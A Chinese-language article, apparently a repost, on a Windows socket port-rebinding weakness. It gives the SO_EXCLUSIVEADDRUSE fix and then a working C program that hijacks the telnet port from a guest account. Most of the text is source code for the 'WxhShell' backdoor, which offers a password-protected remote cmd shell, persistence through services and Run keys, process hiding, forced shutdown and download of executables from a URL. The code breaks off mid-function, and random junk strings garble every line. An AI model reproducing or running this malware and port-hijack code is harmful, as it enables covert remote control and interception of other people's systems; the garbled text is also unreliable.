在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ku[=QsMv s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
,Zcx3C:# zZ+LisS s& saddr.sin_family = AF_INET;
3 R:7bex 1<qVN'[ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
D
$CY:@ ]=86[A-2N bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
s:jL/%+COZ 'De'(I 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Pdo5sve R/Dy05nloe 这意味着什么?意味着可以进行如下的攻击:
&;@b&p+ `i>B|g- 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
/4-eoTxy WJFTy+bD 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
c9g \7L,Z TNyY60E 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
%dk$K!5D0 1TxhE XB 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
++{+
#s6 C#?d=x 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
_qzo):G.s ^%*{:0' 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
%`T^qh_dE H;7H6fyZ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
LWb}) #E fN*4(yw #include
jf)JPa_ #include
;,B@84' #include
= cI\OsV&? #include
1d@^,7MF- DWORD WINAPI ClientThread(LPVOID lpParam);
_]r)6RT int main()
M"$RtS|h {
gmAKW4( WORD wVersionRequested;
7E6?)bgh DWORD ret;
_467~5JkU WSADATA wsaData;
?L#SnnE BOOL val;
MdoWqpC SOCKADDR_IN saddr;
VQNH@g^gqr SOCKADDR_IN scaddr;
"$"mWF- int err;
vLT12v:)` SOCKET s;
cCbr-Z& SOCKET sc;
l'{goy f int caddsize;
w>q_8V_K HANDLE mt;
=cKk3kJC DWORD tid;
i K[8At"Xo wVersionRequested = MAKEWORD( 2, 2 );
zt?w n*_ err = WSAStartup( wVersionRequested, &wsaData );
0JRBNh if ( err != 0 ) {
YIk6:W{ printf("error!WSAStartup failed!\n");
?
A#z~;X@ return -1;
]<_!@J6k }
z4fK{S saddr.sin_family = AF_INET;
7<Js'\Z (X7yNIPfA //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
BH*]OXW\ yrYaKh saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
:3*oAh8| saddr.sin_port = htons(23);
MmX[xk if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
9C~GL,uKs {
E|uXi)!.x printf("error!socket failed!\n");
lz0]p return -1;
B;7s ]R }
J& SuUh< val = TRUE;
r$eL-jQmn //SO_REUSEADDR选项就是可以实现端口重绑定的
zw9ULQ$# if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
h?tV>x/Fu {
$`{q = printf("error!setsockopt failed!\n");
9U1!"/F return -1;
os ud }
l+X^x%EA //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
%a^!~qV //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
4qR Q,g{$T //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
!m5\w> 2-2LmxLG if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
vKLG9ovlY {
F qyJ*W\1 ret=GetLastError();
.shI%'V printf("error!bind failed!\n");
n,%^R return -1;
dM.Ow!j }
B>L^XGq listen(s,2);
H t$%)j9 while(1)
5d;K.O {
1@@]h!>k: caddsize = sizeof(scaddr);
~2;y4%K //接受连接请求
[o6<aE- sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
hrxASAfg6 if(sc!=INVALID_SOCKET)
~a)20 {
$jL.TraV7 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Ase 1 R=0 if(mt==NULL)
!}m8]& {
5Z0x2jV printf("Thread Creat Failed!\n");
x6P^IkL: break;
>CA1Ub&ls }
1x8]& }
z`6KX93 CloseHandle(mt);
2)H|/ }
yZ6X$I:C closesocket(s);
@g?z>n
n WSACleanup();
VJPP HJ[- return 0;
MQI= }
p[IgnO DWORD WINAPI ClientThread(LPVOID lpParam)
7k3\_BHyb\ {
RR9s%>^ SOCKET ss = (SOCKET)lpParam;
(9h{6rc=I SOCKET sc;
;!Mg,jlQ unsigned char buf[4096];
#7) 6X:/O SOCKADDR_IN saddr;
A-5%_M3\G long num;
Xp@OIn DWORD val;
OTm"Iwzu@ DWORD ret;
]z$<6+G //如果是隐藏端口应用的话,可以在此处加一些判断
fe,CY5B{ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
7X"cu6%\ saddr.sin_family = AF_INET;
e
hGC
N= saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
B.b)YE ' saddr.sin_port = htons(23);
U^S0H(> if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Z$gY}Bz {
*+ayC{! printf("error!socket failed!\n");
C8-q<t#SF return -1;
dzap]RpB }
QUO?q+ val = 100;
6y5~Kh6 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3H2'HO {
SJmri]4K ret = GetLastError();
$1F9TfA return -1;
TW$^]u~v }
C$5x*`y if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
IB<ihk {
nfEk ,(: ret = GetLastError();
ewR0e.g return -1;
HvU)GJ u b }
}#@LZ)]hK if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
*&km5@* {
N[%IrN3 printf("error!socket connect failed!\n");
-rBj-4|" closesocket(sc);
Tbw8#[6AX closesocket(ss);
_;9)^})$ return -1;
.T2I]d }
"7d_$.Z while(1)
VEk|lX;2 {
{$JIR}4S //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
">7 bnOJ //如果是嗅探内容的话,可以再此处进行内容分析和记录
#N:o)I //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
F~6[DqF\| num = recv(ss,buf,4096,0);
)deuB5kz if(num>0)
aE}u5L$# send(sc,buf,num,0);
c|XnPqo;f else if(num==0)
"lm3o(Dk break;
x$t=6@<] num = recv(sc,buf,4096,0);
tBt\&{=|D if(num>0)
lnhZ!_
send(ss,buf,num,0);
.$rcTZ else if(num==0)
]dH;+3} break;
;C3]( }
;iWCV&>w closesocket(ss);
*e=e7KC6kI closesocket(sc);
Ag-*DH0 return 0 ;
b^1!_1c }
#gP\q?5Ov :'03*A_[ %NuS!v> ==========================================================
fa)G$Q Cs< d\"+ 下边附上一个代码,,WXhSHELL
pq4frq 3s+D
x$Ud ==========================================================
2Ig.hnHj Y0DBkg #include "stdafx.h"
aV1(DZ83 awUIYAgJ3 #include <stdio.h>
MCvjdc3: #include <string.h>
giv cq'L #include <windows.h>
{Q0"uE)-. #include <winsock2.h>
<7qM;)g #include <winsvc.h>
2Tp.S3 #include <urlmon.h>
d)LifsD) Y|Z*|c.4OK #pragma comment (lib, "Ws2_32.lib")
V\A?1
#pragma comment (lib, "urlmon.lib")
Gg_i:4F AV?*r-vWL. #define MAX_USER 100 // 最大客户端连接数
D(y=0), #define BUF_SOCK 200 // sock buffer
l+@NjZGm< #define KEY_BUFF 255 // 输入 buffer
6g)21Mh# EBJaFz' #define REBOOT 0 // 重启
mwBOhEefNJ #define SHUTDOWN 1 // 关机
/.vB /{2 WVKzh #define DEF_PORT 5000 // 监听端口
=OCHV+m yPW?%7 h #define REG_LEN 16 // 注册表键长度
d+l@hgz~ #define SVC_LEN 80 // NT服务名长度
e4t'3So 7JjTm^bu // 从dll定义API
V5m4dQ>t typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
4Xlq
Ym typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
~ u jY+{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
v]BN. SHE_ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
8|gwH2st~ ,
j7&(V~ // wxhshell配置信息
Z{|wjZb( struct WSCFG {
>Qr(#Bt) int ws_port; // 监听端口
.:E%cL
+h char ws_passstr[REG_LEN]; // 口令
%kUIIHV} int ws_autoins; // 安装标记, 1=yes 0=no
yqZKn=1: char ws_regname[REG_LEN]; // 注册表键名
ftRf~5d2 char ws_svcname[REG_LEN]; // 服务名
|-bAzt char ws_svcdisp[SVC_LEN]; // 服务显示名
Y}QtgZEt char ws_svcdesc[SVC_LEN]; // 服务描述信息
THC34u] char ws_passmsg[SVC_LEN]; // 密码输入提示信息
!gu#
#MrJ9 int ws_downexe; // 下载执行标记, 1=yes 0=no
/g@!#Dt char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
rz5AIe>Hm char ws_filenam[SVC_LEN]; // 下载后保存的文件名
v="i0lL_ Z)?B5FF };
sSU p7V KFx4"f% // default Wxhshell configuration
zyTeF~_ struct WSCFG wscfg={DEF_PORT,
gy0l@ 5 N "xuhuanlingzhe",
P`0}( '"U 1,
R^4JM,v9x` "Wxhshell",
iLD}>= "Wxhshell",
K_;'-B "WxhShell Service",
< j^8L^ "Wrsky Windows CmdShell Service",
0CX2dk"UB^ "Please Input Your Password: ",
7M9Ey29f 1,
K?`Fpg( "
http://www.wrsky.com/wxhshell.exe",
Fu].%`*xJ "Wxhshell.exe"
DvhJkdLB> };
Gf*|f"O 2[zFKK // 消息定义模块
RDGefxv char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
+es|0;Z4yP char *msg_ws_prompt="\n\r? for help\n\r#>";
=MMU(0 E char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
EbXWCD char *msg_ws_ext="\n\rExit.";
-k(bM: char *msg_ws_end="\n\rQuit.";
Qu]F<H*Y| char *msg_ws_boot="\n\rReboot...";
gqw
]L>Z char *msg_ws_poff="\n\rShutdown...";
iW oe char *msg_ws_down="\n\rSave to ";
NpqK+GO ;XAj/6pm char *msg_ws_err="\n\rErr!";
\+3amkBe
char *msg_ws_ok="\n\rOK!";
c{4Y?SSx L{&5Ets char ExeFile[MAX_PATH];
o>~xrV`E int nUser = 0;
x:dI :G HANDLE handles[MAX_USER];
@~g][O#Fu int OsIsNt;
T3H\KRe6 P~xP@?I% SERVICE_STATUS serviceStatus;
3Q;XvrGA SERVICE_STATUS_HANDLE hServiceStatusHandle;
7UnB]- :. a>6@1liT // 函数声明
,.6)y1! int Install(void);
NRIp@PIF:" int Uninstall(void);
(58}G2}q int DownloadFile(char *sURL, SOCKET wsh);
V
d`}F0WD int Boot(int flag);
jc0Trs{Jf void HideProc(void);
q/qJkr^2 int GetOsVer(void);
zfGS=@e]G int Wxhshell(SOCKET wsl);
0vYHx V void TalkWithClient(void *cs);
.0=VQU int CmdShell(SOCKET sock);
VelR8tjP int StartFromService(void);
SobOUly5{ int StartWxhshell(LPSTR lpCmdLine);
8r{:di* ,2>nr goM VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
/U@T#S VOID WINAPI NTServiceHandler( DWORD fdwControl );
F4:giu ht nA1059B
// 数据结构和表定义
6v1F.u SERVICE_TABLE_ENTRY DispatchTable[] =
FV~ENpncP {
glL.CkJ {wscfg.ws_svcname, NTServiceMain},
JnodDH ? {NULL, NULL}
VV'*3/I };
8slOB>2#Y Gq)E,Ln&d // 自我安装
CO5>Q o int Install(void)
CT2L }5L& {
:@oy5zib char svExeFile[MAX_PATH];
e09('SON( HKEY key;
q\uzmOh strcpy(svExeFile,ExeFile);
p 3`odmbN +-$Hx5 // 如果是win9x系统,修改注册表设为自启动
1w~@'ZyU if(!OsIsNt) {
qvH RP@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
MGbl-,] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
h+d \u RegCloseKey(key);
v{2euOFE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
8n'"RaLQ8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
XLq%nVBM8\ RegCloseKey(key);
oY(q(W0ze return 0;
Z]^Ooy[pb }
Et0[HotO }
Y(U+s\X }
^1 U<,< else {
yRdME>_L 7#pu(:T$ // 如果是NT以上系统,安装为系统服务
`=QRC.b SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
6 {j}Z*)m if (schSCManager!=0)
.$~zxd#zo {
}]B H
" SC_HANDLE schService = CreateService
BXj]]S2 (
drkY~!a schSCManager,
lKT<aYX wscfg.ws_svcname,
hH3~O`~ wscfg.ws_svcdisp,
a`t<R SERVICE_ALL_ACCESS,
==XO:P SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
A@81wv
SERVICE_AUTO_START,
}bA@QEJ SERVICE_ERROR_NORMAL,
*Y\C5L] svExeFile,
[G#PK5C NULL,
sk>E(Myo NULL,
ZOIx+%/Vd# NULL,
]Te,m}E NULL,
\LbBK ~l-I NULL
fC<pCdsg );
l.3|0lopX) if (schService!=0)
2M`:/ shq {
duT'$}2@> CloseServiceHandle(schService);
@SX-=Nr CloseServiceHandle(schSCManager);
KP*cb6vA strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
*rH#k? strcat(svExeFile,wscfg.ws_svcname);
)Bo]+\2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
&4}Uaxt) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
X={Z5Xxr" RegCloseKey(key);
2}<_l 2 return 0;
1Ax{Y#< }
*74VrAo }
D.:6X'hp CloseServiceHandle(schSCManager);
tOT(!yz }
vOV$H le }
JK=0juv<E ,B8u?{O return 1;
F!*tE&Se+ }
)z
Hib;O X :wfmb // 自我卸载
6t!PHA int Uninstall(void)
T@P[jtH<d {
=4_Er{AT HKEY key;
qC:QY6g$N SpJIEw if(!OsIsNt) {
HpGI\s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
W^" C|4G } RegDeleteValue(key,wscfg.ws_regname);
LZ-&qh RegCloseKey(key);
5SQqE@g% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Ef2i#BoZ RegDeleteValue(key,wscfg.ws_regname);
Zog&:]P'F RegCloseKey(key);
:ND e<6?u return 0;
tcD DX'S }
/]>8V'e\ }
I:=rwnd }
u?%FD~l:uU else {
5e|yW0o ]X\p\n'@j SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Y:#nk.}> if (schSCManager!=0)
R^k)^!/$f {
PHU$<> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
S17 c#6vT if (schService!=0)
`JzP V/6 {
pz0Q@ n/X if(DeleteService(schService)!=0) {
LCMZw6p CloseServiceHandle(schService);
]@wKm1%v CloseServiceHandle(schSCManager);
<1eD*sC?g return 0;
'4e,
e|r }
6R'z3[K9 CloseServiceHandle(schService);
'izv[{!n{ }
@O9wit. CloseServiceHandle(schSCManager);
./@C }
@Pb%dS }
5iZx
-M &1Cif$Y4w return 1;
PTP0 _|K }
?X^.2+]*& dj2w_:&W // 从指定url下载文件
c@|f'V4 int DownloadFile(char *sURL, SOCKET wsh)
(MzThGJK_ {
4)Ab]CdD HRESULT hr;
9][A1+" char seps[]= "/";
z*e`2n#\ char *token;
r<OqI*7 char *file;
pF<KhE*V char myURL[MAX_PATH];
7 0Wy]8<P char myFILE[MAX_PATH];
,u S)N6'b6 oCSJ<+[(C strcpy(myURL,sURL);
Fp~0 ^ token=strtok(myURL,seps);
Y,M2D while(token!=NULL)
->rudRQ {
99*QfC file=token;
KMP[Ledr token=strtok(NULL,seps);
<tgfbY^nL }
t*wV<b }iRRf_ GetCurrentDirectory(MAX_PATH,myFILE);
r1a/'+ strcat(myFILE, "\\");
PwC^
]e strcat(myFILE, file);
%TYe]^/'y send(wsh,myFILE,strlen(myFILE),0);
[B@R(z=H send(wsh,"...",3,0);
0,1)Sg* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
;nw}x4Y[ if(hr==S_OK)
6F; |x return 0;
51'{Jx8 else
$g '4' return 1;
9)J)r\ {nH*Wu*^ }
L8?;A9pc() |vY|jaV} // 系统电源模块
\me-#: Gu int Boot(int flag)
'tY y_ {
;\
gat)0n% HANDLE hToken;
UQO?hZ!y/. TOKEN_PRIVILEGES tkp;
cv9-ZOxJ Fiaeo0 if(OsIsNt) {
u"-."_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
"#]V^Rzxh LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
cdTG ]n tkp.PrivilegeCount = 1;
t'* 2)U tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
@!mjjeG+1 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
xPMX\aI|l if(flag==REBOOT) {
O4T_p=Xc if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
~`<_xIvrq return 0;
LsaRw-4.c }
Q+Ya\1$6A else {
5](,N^u{): if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
.83z = return 0;
[Y8ot-6 }
gPF5|% 3) }
@pV&{Vp else {
VV"1I R if(flag==REBOOT) {
!CLL{\F if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Y 016Xg5 return 0;
Z(hRwIOF }
?}<Wmy2A else {
3`{[T17 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
g&O!w!T
return 0;
_Sult;y"u }
8[d6 s }
M~-jPY,+ V?4G~~F return 1;
?Bsc;:KF }
7jYW3 qQe23,x@5 // win9x进程隐藏模块
Bu#\W void HideProc(void)
H)NT2@%{P {
kXW$[R bf$4Z: Y HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Pql;5
~/
if ( hKernel != NULL )
NXdT"O=P {
ux1SQ8C * pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
V,>uM
>$ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
=R0#WMf$@ FreeLibrary(hKernel);
U\UlQp? }
~4u[\&Sh 5+Hw @CY3 return;
nHIW_+<Mf }
99?:
9g (zhi/>suG // 获取操作系统版本
,Cj` 0v# int GetOsVer(void)
6F08$,%Y {
!z?;L_Lb OSVERSIONINFO winfo;
3L-}B#tI winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
gIcm`5+T GetVersionEx(&winfo);
,B$m8wlI| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
[TX5O\g![ return 1;
{{Z3M>Q else
T|ZJ$E0 return 0;
[:bYd}J }
KmaMS(A(3 HbQ+:B] // 客户端句柄模块
Wf5ohXm> int Wxhshell(SOCKET wsl)
KU)~p"0[6] {
<wO8=bem SOCKET wsh;
KcF#c_f
struct sockaddr_in client;
UeN+}`!l DWORD myID;
T`SpIdzB. UN7J6$!Cx7 while(nUser<MAX_USER)
|-.r9;-b {
9xIz[`)i. int nSize=sizeof(client);
h-=lZ~W~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Yp8GW1@ if(wsh==INVALID_SOCKET) return 1;
8@d,TjJDo 9zD^4j7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
zua=E2 if(handles[nUser]==0)
pTIE.:g( closesocket(wsh);
7&{[Y^R]" else
$C~OV@I nUser++;
Q:sw*7"F }
A]q"+Z] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
hF7#i_UN< =U_O;NC return 0;
e BxOa }
DW.vu%j^[ pZO`18z // 关闭 socket
,pMH` void CloseIt(SOCKET wsh)
H3qM8_GUA {
]Z#=w closesocket(wsh);
9|9Hk1 nUser--;
mQy!*0y ExitThread(0);
3CArUP }
'}.Z' %; cR"?EQ] `N // 客户端请求句柄
k^v P|*eu void TalkWithClient(void *cs)
v35=4>Y {
Rw#4 |& +4*jO5EZ SOCKET wsh=(SOCKET)cs;
uf<nVdC. char pwd[SVC_LEN];
AQa;D2B$ char cmd[KEY_BUFF];
pQf5s7 char chr[1];
"~^#{q int i,j;
A6#5 z gS$?#!f while (nUser < MAX_USER) {
fkmN?CU{1% v"N%w1`.e if(wscfg.ws_passstr) {
MeXGE if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
F;;\I //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^CWxYDG* //ZeroMemory(pwd,KEY_BUFF);
c1L0#L/F6" i=0;
XAF*jevr while(i<SVC_LEN) {
eQQ*ZNG smTPca)7s // 设置超时
,U^V]jC fd_set FdRead;
/6PL struct timeval TimeOut;
TowRY=#jiS FD_ZERO(&FdRead);
{, `) FD_SET(wsh,&FdRead);
@K:TGo,%I TimeOut.tv_sec=8;
zv}3Sl@ TimeOut.tv_usec=0;
6o4Bf| E] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
qkk!1W if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
M8HHyV[AmC e qzmEg if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
~M!s0jT pwd
=chr[0]; qe{:9
if(chr[0]==0xd || chr[0]==0xa) { RC>79e/u<
pwd=0; K~DQUmU@
break; CV
)v6f
} h~R= ?%H[
i++; "Smek#l
} mOQN$d [
[x\?._>
// 如果是非法用户,关闭 socket y6C3u5`
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C0> Z<z
} i
SD?y#
}cPH}[$zF
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $>csm
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V0ig#?]
)W1tBi
while(1) { S(\<@S&
HJ]9e
ZeroMemory(cmd,KEY_BUFF); Q?uHdmY*X
MaS"V`NI
// 自动支持客户端 telnet标准 X}@'FxIF
j=0; \J0fr'(S
while(j<KEY_BUFF) { aHR&6zj4
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e"@Ag:r@a
cmd[j]=chr[0]; &oXN*$/dlJ
if(chr[0]==0xa || chr[0]==0xd) { 9ER!K
cmd[j]=0; zD z"Dn9
break; &u}]3E'-k
} ]b6g Z<
j++; zZ*\v
} CL)*cu6zG
31> $;"
// 下载文件 )' 3V4Z&
if(strstr(cmd,"http://")) { 2C59fXfd
send(wsh,msg_ws_down,strlen(msg_ws_down),0); }3DZ`8u
if(DownloadFile(cmd,wsh)) OoqA`%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &]_2tN=S$
else $ctpg9 7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ht_7:5v&
} r 1x2)
else { RAUD8Z
D%%@+3a
switch(cmd[0]) { ;T,`m^@zf
IL&;2%
// 帮助 |ycN)zuE
case '?': { ?Fp2W+M
j
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (BG
wBL
break; 7~
=r9-&G
} p/WE[8U
// 安装 t8_i[Hw6D
case 'i': { 3:ELYn
if(Install()) 5`QN<4?%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ul!e!^qwx
else kl[Jt)"4@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9J4gDw4<
break; <[Y@<
} c)B
<d#
// 卸载 l`(pV ;{W
case 'r': { m(rd\3d
if(Uninstall()) ]rMHO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y??^[ sB
else :211T&B%A_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G Ebm$\
break; -*AUCns#
} 2'T uS?
// 显示 wxhshell 所在路径 &T&>4I!'M
case 'p': { g7@.Fa.u'!
char svExeFile[MAX_PATH]; <
s1
strcpy(svExeFile,"\n\r"); ?
e<D +
strcat(svExeFile,ExeFile); q)QM+4
send(wsh,svExeFile,strlen(svExeFile),0); JthW"{E
break; 6)j/"9oY
} ipH'}~=ID
// 重启 7j~}M(s"
case 'b': { r$<4_*
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w6<zPrA
if(Boot(REBOOT)) j&w4yY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 56 [+;*
else { `Ti?hQm/
closesocket(wsh); SEXmVFsQ
ExitThread(0); W`g zMx
} Gm.2!F=R4A
break; 9D,/SZ-v
} sMNhD/bb
// 关机 &E0L 2gbI
case 'd': { 4ztU) 1
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .ovG_O
if(Boot(SHUTDOWN)) wNQhg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Zy%Nam'gN
else { }zyh!
closesocket(wsh); kmu r={IR
ExitThread(0); Y |'}VU
} .)[0yW&
break; u=f}t=3
} s]'EIw}mo
// 获取shell K6G+sBw[
case 's': { {jOV8SVL
CmdShell(wsh); H*E4+3y
closesocket(wsh); RZbiiMC>
ExitThread(0); ),5|Ves;t[
break; _qvzZ6
} &\L\n}i-
// 退出 ~fY\;
case 'x': { r O-=):2
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :]uz0s`>
CloseIt(wsh); z2IKd'Wy
break; ~U+W4%f8
} 3F?_{A
// 离开 q"$C)o
case 'q': { nNpXkI:
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,?(U4pzX
closesocket(wsh); 9?zi
WSACleanup(); /j"aOLL|
exit(1); $*c!9Etl4
break; @r3,|tkrz
} s}g3*_"
} IXC2w*'m
} Rg%Xy`gS
BNq6dz$ J
// 提示信息 qx";G
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "9O8#i<Nr
} 3='Kii=LA
} 1BOv|xPjZ
pIl[)%F
return; I]6,hygs
} -7(,*1Tk
X]c>clk,
// shell模块句柄 6wH:jd9,
int CmdShell(SOCKET sock) CS\8ej}y
{ NKMVp/66D
STARTUPINFO si; GxS!Lk
ZeroMemory(&si,sizeof(si)); 0S&C[I
o6
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DA^!aJ6iF
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9{CajtN
PROCESS_INFORMATION ProcessInfo; Rh%C$d(
char cmdline[]="cmd"; L3Ivm:
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >/G[Oo
return 0; k|3hs('y|
} !112u#V
P1dFoQz
// 自身启动模式 x\aCZ
int StartFromService(void) ccwz:7r
{ Q& S 7_
typedef struct TFDzTD
{ ?\_vqW
DWORD ExitStatus; (g0U v.*
DWORD PebBaseAddress; =kjD ]+l
